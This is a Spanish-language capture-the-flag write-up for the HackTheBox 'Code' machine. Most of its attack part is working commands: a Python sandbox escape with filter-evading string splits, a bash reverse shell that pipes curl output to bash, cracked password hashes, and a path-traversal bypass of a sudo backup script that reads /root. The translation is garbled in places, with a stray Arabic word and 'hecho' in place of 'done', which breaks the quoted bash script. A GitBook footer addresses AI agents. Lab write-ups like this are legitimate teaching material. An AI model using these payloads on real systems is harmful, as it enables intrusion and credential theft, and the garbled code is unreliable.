> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# Resolución de HackTheBox Code

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**Habilidades:**

* Explotación SSTI – Editor de código Python
* Extracción de base de datos SQLite y crackeo de hashes
* Evasión de backy.sh mediante manipulación de rutas (escalada de privilegios)
* Extracción de archivo Tar desde el directorio raíz
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/55a2f9ff4bb640888d635052d0988119f7da5bda" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/318fd6a289429022d24a33e9ffb56344dbef3911" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="/files/24ee573b5227314ac7d006cc744781ddec571744" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.5000)

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="/files/35abbad8e560ba127cb9261dd314bd4c55265688" alt=""><figcaption></figcaption></figure>

## Explotación SSTI – Editor de código Python

<figure><img src="/files/258282a1f2c434822f848b148d9384ac1274ed9d" alt=""><figcaption></figcaption></figure>

Se descubre un editor de código Python en el puerto 5000. Durante los intentos típicos de inyección (`import os`, `exec`, etc.), se generan errores.

<figure><img src="/files/08ceaeda1b8bb8b9a79555b2b0f0f06309e43ef1" alt=""><figcaption></figcaption></figure>

Para sortear las restricciones, usamos un bucle para identificar una clase que permita acceder a las funciones integradas (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except Exception as e:
        continue
```

> Este bucle de Python intenta explotar la inyección de plantillas del lado del servidor (SSTI) buscando las subclases del objeto base de Python (`object`) para una clase que exponga el entorno global (`__globals__`) a través de su `__init__` método. En cada iteración, recupera el diccionario de funciones integradas (`__builtins__`) reconstruyendo su nombre para evitar filtrados simples. Si el objeto contiene la `eval` función, se imprime el índice de la clase. Esta técnica se usa comúnmente para الوصول a funciones peligrosas como `eval`, `exec`, y `abran`.

<figure><img src="/files/775806e720bf86da02d3c14ea729404a0cc6c0d4" alt=""><figcaption></figcaption></figure>

### Lectura `/etc/passwd`

Una vez identificado el objeto que contiene `eval` se ejecuta:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

Esto revela dos usuarios: `martin` y `production`.

<figure><img src="/files/b971607e45822b8b9264dc89ad5d93af2bbd1c4f" alt=""><figcaption></figcaption></figure>

### **Shell inversa**

#### Escuchando en el puerto 443:

```bash
nc -nvlp 443
```

#### Script de shell inversa :

Crear un `index.html` archivo que contiene:

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

Iniciando un servidor web:

```bash
python3 -m http.server 80
```

Inyección de payload:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="/files/0e92213d5ebcec0cb48b5228d96225cf979aaf77" alt=""><figcaption></figcaption></figure>

#### Manejo de terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Bandera user.txt :)

<figure><img src="/files/375da4c3d3105bae099b3e4732bfa6fd3ed05ddc" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

### Acceso SSH con el usuario `martin`

<figure><img src="/files/dbe80b5b30ba7c3114840e7cf830b6c380a8078d" alt=""><figcaption></figcaption></figure>

Descubrimos un `database.db` archivo. La inspección mediante SQLite revela dos usuarios (`development`, `martin`) con hashes de contraseñas.

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">Users</th><th>hashes</th></tr></thead><tbody><tr><td>development</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>martin</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="/files/fe46da3ac76968ccea56c322df15b5cda9f0b125" alt=""><figcaption></figcaption></figure>

Descifra las contraseñas con [CrackStation](https://crackstation.net/), luego conéctate:

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">Users</th><th>hashes</th></tr></thead><tbody><tr><td>development</td><td>development</td></tr><tr><td>martin</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="/files/c501d744329469328081bf95c673f2d638920ff5" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="/files/e042e0cc3ade2642035676411fb11c8ee9f0eec3" alt=""><figcaption></figcaption></figure>

### Sudo - backy.sh (script)

Aprendemos que `martin` puede ejecutar `/usr/bin/backy.sh` como root.

```bash
sudo -l
```

<figure><img src="/files/17ce6bb65ca396625472ca9fee659164d36fbb3e" alt=""><figcaption></figcaption></figure>

**El script comprueba:**

* Si el archivo JSON dado existe,
* Que cada ruta en `directories_to_archive` está bajo `/var/` o `/home/`,
* Elimina `../` secuencias mediante `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Uso: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: Archivo '$json_file' no encontrado."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    hecho
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir no está permitido. Solo se permiten directorios bajo /var/ y /home/."
        exit 1
    fi
hecho

/usr/bin/backy "$json_file"
```

**Evasión:**

Configuramos un `pwned.json` archivo:

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

Ejecución:

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/7d126c79eb9bce5e2a22142f0b8b857bd7cc8c70" alt=""><figcaption></figcaption></figure>

Descompresión:

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### Bandera root.txt :)

<figure><img src="/files/586a6e77471630d394d6a41a36c8f10748ff4868" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a866a85863790660c5a2ab74c29e1943f7782563" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
